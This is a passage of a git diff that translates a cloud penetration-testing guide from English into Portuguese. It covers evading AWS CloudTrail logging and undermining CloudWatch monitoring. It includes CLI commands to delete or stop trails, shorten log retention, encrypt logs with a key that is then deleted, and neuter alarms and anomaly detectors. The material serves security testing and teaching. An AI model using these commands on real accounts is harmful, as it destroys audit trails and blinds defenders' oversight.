here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. - -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +Dessa forma, um **atacante pode obter o ARN da chave sem acionar nenhum log**. No ARN, o atacante pode ver o **ID da conta AWS e o nome**, é fácil saber os IDs e nomes das contas das empresas do HoneyToken, assim, um atacante pode identificar se o token é um HoneyToken. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> Note que todas as APIs públicas descobertas que não estavam criando logs do CloudTrail agora foram corrigidas, então talvez você precise encontrar as suas próprias... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). -### Accessing Third Infrastructure +### Acessando Infraestrutura de Terceiros -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +Certos serviços AWS **gerarão alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não poderá ver essa comunicação. -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e **falar com o serviço da API diretamente sem ser detectado pelo Cloudtrail**. -More info in: +Mais informações em: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### Modificando a Configuração do CloudTrail +#### Excluir trilhas ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### Parar trilhas ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### Desativar o registro em várias regiões ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### Desativar Registro por Seletores de Evento ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,49 +236,42 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +No primeiro exemplo, um único seletor de eventos é fornecido como um array JSON com um único objeto. O `"ReadWriteType": "ReadOnly"` indica que o **seletor de eventos deve capturar apenas eventos de leitura** (então as insights do CloudTrail **não estarão verificando eventos de escrita**, por exemplo). -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +Você pode personalizar o seletor de eventos com base em seus requisitos específicos. +#### Exclusão de logs via política de ciclo de vida do S3 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### Modificando a Configuração do Bucket -### Modifying Bucket Configuration +- Excluir o bucket S3 +- Alterar a política do bucket para negar quaisquer gravações do serviço CloudTrail +- Adicionar política de ciclo de vida ao bucket S3 para excluir objetos +- Desativar a chave KMS usada para criptografar os logs do CloudTrail -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +### Ransomware Cloudtrail -### Cloudtrail ransomware +#### Ransomware S3 -#### S3 ransomware - -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +Você poderia **gerar uma chave assimétrica** e fazer **o CloudTrail criptografar os dados** com essa chave e **excluir a chave privada** para que o conteúdo do CloudTrail não possa ser recuperado.\ +Isso é basicamente um **ransomware S3-KMS** explicado em: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**Ransomware KMS** -This is an easiest way to perform the previous attack with different permissions requirements: +Esta é uma maneira mais fácil de realizar o ataque anterior com diferentes requisitos de permissões: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Referências** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..59d337155 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** **coleta** dados de monitoramento e operação na forma de logs/métricas/eventos, fornecendo uma **visão unificada dos recursos** da AWS, aplicações e serviços.\ +O evento de log do CloudWatch tem uma **limitação de tamanho de 256KB em cada linha de log**.\ +Ele pode definir **alarmas de alta resolução**, visualizar **logs** e **métricas** lado a lado, tomar ações automatizadas, solucionar problemas e descobrir insights para otimizar aplicações. -You can monitor for example logs from CloudTrail. Events that are monitored: +Você pode monitorar, por exemplo, logs do CloudTrail. Eventos que são monitorados: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- Mudanças em Grupos de Segurança e NACLs +- Início, Parada, reinicialização e término de instâncias EC2 +- Mudanças nas Políticas de Segurança dentro do IAM e S3 +- Tentativas de login falhadas no Console de Gerenciamento da AWS +- Chamadas de API que resultaram em autorização falhada +- Filtros para pesquisar no cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) -## Key concepts +## Conceitos-chave ### Namespaces -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +Um namespace é um contêiner para métricas do CloudWatch. Ele ajuda a categorizar e isolar métricas, facilitando o gerenciamento e a análise delas. -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **Exemplos**: AWS/EC2 para métricas relacionadas ao EC2, AWS/RDS para métricas do RDS. -### Metrics +### Métricas -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou a utilização dos recursos da AWS. As métricas podem ser coletadas de serviços da AWS, aplicações personalizadas ou integrações de terceiros. -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **Exemplo**: CPUUtilization, NetworkIn, DiskReadOps. -### Dimensions +### Dimensões -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Dimensões são pares chave-valor que fazem parte das métricas. Elas ajudam a identificar de forma única uma métrica e fornecem contexto adicional, sendo 30 o número máximo de dimensões que podem ser associadas a uma métrica. As dimensões também permitem filtrar e agregar métricas com base em atributos específicos. -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **Exemplo**: Para instâncias EC2, as dimensões podem incluir InstanceId, InstanceType e AvailabilityZone. -### Statistics +### Estatísticas -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +Estatísticas são cálculos matemáticos realizados sobre dados de métricas para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras. -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **Exemplo**: Calcular a média de utilização da CPU ao longo de um período de uma hora. -### Units +### Unidades -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Unidades são o tipo de medição associado a uma métrica. As unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem. -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **Exemplo**: CPUUtilization pode ser medido em Percentual, enquanto NetworkIn pode ser medido em Bytes. -## CloudWatch Features +## Recursos do CloudWatch -### Dashboard +### Painel -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**Painéis do CloudWatch** fornecem **visões personalizáveis das suas métricas do AWS CloudWatch**. É possível criar e configurar painéis para visualizar dados e monitorar recursos em uma única visão, combinando diferentes métricas de vários serviços da AWS. -**Key Features**: +**Recursos Principais**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **Widgets**: Blocos de construção dos painéis, incluindo gráficos, texto, alarmes e mais. +- **Personalização**: O layout e o conteúdo podem ser personalizados para atender a necessidades específicas de monitoramento. -**Example Use Case**: +**Exemplo de Caso de Uso**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- Um único painel mostrando métricas-chave para todo o seu ambiente AWS, incluindo instâncias EC2, bancos de dados RDS e buckets S3. -### Metric Stream and Metric Data +### Fluxo de Métricas e Dados de Métricas -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Fluxos de Métricas** no AWS CloudWatch permitem que você transmita continuamente métricas do CloudWatch para um destino de sua escolha em quase tempo real. Isso é particularmente útil para monitoramento avançado, análises e painéis personalizados usando ferramentas fora da AWS. -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas como utilização da CPU, uso de memória, etc., para recursos da AWS. -**Example Use Case**: +**Exemplo de Caso de Uso**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- Enviando métricas em tempo real para um serviço de monitoramento de terceiros para análise avançada. +- Arquivando métricas em um bucket do Amazon S3 para armazenamento a longo prazo e conformidade. -### Alarm +### Alarme -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**Alarmes do CloudWatch** monitoram suas métricas e realizam ações com base em limites predefinidos. Quando uma métrica ultrapassa um limite, o alarme pode realizar uma ou mais ações, como enviar notificações via SNS, acionar uma política de autoescalonamento ou executar uma função AWS Lambda. -**Key Components**: +**Componentes Principais**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **Limite**: O valor em que o alarme é acionado. +- **Períodos de Avaliação**: O número de períodos sobre os quais os dados são avaliados. +- **Pontos de Dados para Alarme**: O número de períodos com um limite alcançado necessário para acionar o alarme. +- **Ações**: O que acontece quando um estado de alarme é acionado (por exemplo, notificar via SNS). -**Example Use Case**: +**Exemplo de Caso de Uso**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- Monitorando a utilização da CPU da instância EC2 e enviando uma notificação via SNS se exceder 80% por 5 minutos consecutivos. -### Anomaly Detectors +### Detectores de Anomalias -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Detectores de Anomalias** usam aprendizado de máquina para detectar automaticamente anomalias em suas métricas. Você pode aplicar a detecção de anomalias a qualquer métrica do CloudWatch para identificar desvios de padrões normais que possam indicar problemas. -**Key Components**: +**Componentes Principais**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **Treinamento de Modelo**: O CloudWatch usa dados históricos para treinar um modelo e estabelecer como é o comportamento normal. +- **Banda de Detecção de Anomalias**: Uma representação visual da faixa esperada de valores para uma métrica. -**Example Use Case**: +**Exemplo de Caso de Uso**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- Detectando padrões incomuns de utilização da CPU em uma instância EC2 que possam indicar uma violação de segurança ou problema de aplicação. -### Insight Rules and Managed Insight Rules +### Regras de Insight e Regras de Insight Gerenciadas -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Regras de Insight** permitem que você identifique tendências, detecte picos ou outros padrões de interesse em seus dados de métricas usando **expressões matemáticas poderosas** para definir as condições sob as quais ações devem ser tomadas. Essas regras podem ajudá-lo a identificar anomalias ou comportamentos incomuns no desempenho e utilização de seus recursos. -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Regras de Insight Gerenciadas** são regras de insight **pré-configuradas fornecidas pela AWS**. Elas são projetadas para monitorar serviços específicos da AWS ou casos de uso comuns e podem ser ativadas sem a necessidade de configuração detalhada. -**Example Use Case**: +**Exemplo de Caso de Uso**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- Monitorando o Desempenho do RDS: Ativar uma regra de insight gerenciada para o Amazon RDS que monitora indicadores-chave de desempenho, como utilização da CPU, uso de memória e I/O de disco. Se alguma dessas métricas exceder limites operacionais seguros, a regra pode acionar um alerta ou uma ação de mitigação automatizada. -### CloudWatch Logs +### Logs do CloudWatch -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +Permite **agregar e monitorar logs de aplicações** e sistemas de **serviços da AWS** (incluindo CloudTrail) e **de apps/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Os logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados. -**Elements**: +**Elementos**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **Grupo de Logs** | Uma **coleção de fluxos de logs** que compartilham as mesmas configurações de retenção, monitoramento e controle de acesso | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **Fluxo de Logs** | Uma sequência de **eventos de log** que compartilham a **mesma fonte** | +| **Filtros de Assinatura** | Definem um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo do Kinesis Data Firehose, fluxo do Kinesis ou uma função Lambda | -### CloudWatch Monitoring & Events +### Monitoramento e Eventos do CloudWatch -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +O CloudWatch **básico** agrega dados **a cada 5min** (o **detalhado** faz isso **a cada 1 min**). Após a agregação, ele **verifica os limites dos alarmes** caso precise acionar um.\ +Nesse caso, o CloudWatch pode estar preparado para enviar um evento e realizar algumas ações automáticas (funções AWS lambda, tópicos SNS, filas SQS, Fluxos Kinesis) -### Agent Installation +### Instalação do Agente -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +Você pode instalar agentes dentro de suas máquinas/containers para enviar automaticamente os logs de volta ao CloudWatch. -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **Criar** um **papel** e **anexá-lo** à **instância** com permissões permitindo que o CloudWatch colete dados das instâncias, além de interagir com o AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Baixar** e **instalar** o **agente** na instância EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Você pode baixá-lo de dentro da EC2 ou instalá-lo automaticamente usando o AWS Systems Manager selecionando o pacote AWS-ConfigureAWSPackage +- **Configurar** e **iniciar** o Agente do CloudWatch -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. - -## Enumeration +Um grupo de logs tem muitos fluxos. Um fluxo tem muitos eventos. E dentro de cada fluxo, os eventos são garantidos para estarem em ordem. +## Enumeração ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - -## Post-Exploitation / Bypass +## Pós-Exploração / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métrica, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas rápidas a incidentes reais. +Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo, pois sempre haverá um alarme composto que depende daquele alarme que você deseja deletar. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` +O seguinte exemplo mostra como tornar um alarme de métrica ineficaz: -The following example shows how to make a metric alarm ineffective: - -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- Este alarme de métrica monitora a utilização média da CPU de uma instância EC2 específica, avalia a métrica a cada 300 segundos e requer 6 períodos de avaliação (30 minutos no total). Se a utilização média da CPU exceder 60% por pelo menos 4 desses períodos, o alarme será acionado e enviará uma notificação para o tópico SNS especificado. +- Ao modificar o Limite para ser superior a 99%, definir o Período para 10 segundos, os Períodos de Avaliação para 8640 (já que 8640 períodos de 10 segundos equivalem a 1 dia) e os Pontos de Dados para Alarme para 8640 também, seria necessário que a utilização da CPU estivesse acima de 99% a cada 10 segundos durante todo o período de 24 horas para acionar um alarme. {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="Alarme de Métrica Modificado" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Impacto Potencial**: Falta de notificações para eventos críticos, problemas potenciais não detectados, alertas falsos, supressão de alertas genuínos e potencialmente detecções perdidas de incidentes reais. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +Ao deletar ações de alarme, o atacante poderia impedir que alertas críticos e respostas automatizadas fossem acionados quando um estado de alarme é alcançado, como notificar administradores ou acionar atividades de auto-escalonamento. Habilitar ou reabilitar ações de alarme de forma inadequada também poderia levar a comportamentos inesperados, seja reativando ações previamente desativadas ou modificando quais ações são acionadas, potencialmente causando confusão e desvio na resposta a incidentes. -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +Além disso, um atacante com a permissão poderia manipular estados de alarme, sendo capaz de criar falsos alarmes para distrair e confundir administradores, ou silenciar alarmes genuínos para ocultar atividades maliciosas em andamento ou falhas críticas do sistema. +- Se você usar **`SetAlarmState`** em um alarme composto, o alarme composto não garante retornar ao seu estado real. Ele retorna ao seu estado real apenas uma vez que qualquer um de seus alarmes filhos muda de estado. Ele também é reavaliado se você atualizar sua configuração. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Impacto Potencial**: Falta de notificações para eventos críticos, problemas potenciais não detectados, alertas falsos, suprimir alertas genuínos e potencialmente detecções perdidas de incidentes reais. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +Um atacante seria capaz de comprometer a capacidade de detectar e responder a padrões ou anomalias incomuns em dados de métricas. Ao excluir detectores de anomalias existentes, um atacante poderia desativar mecanismos críticos de alerta; e ao criar ou modificar esses detectores, poderia desconfigurá-los ou criar falsos positivos para distrair ou sobrecarregar a monitoração. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +O seguinte exemplo mostra como tornar um detector de anomalias de métricas ineficaz. Este detector de anomalias de métricas monitora a utilização média da CPU de uma instância EC2 específica, e apenas adicionando o parâmetro “ExcludedTimeRanges” com o intervalo de tempo desejado, seria suficiente para garantir que o detector de anomalias não analise ou alerte sobre dados relevantes durante esse período. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="Detector de Anomalias de Métricas Modificado" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of 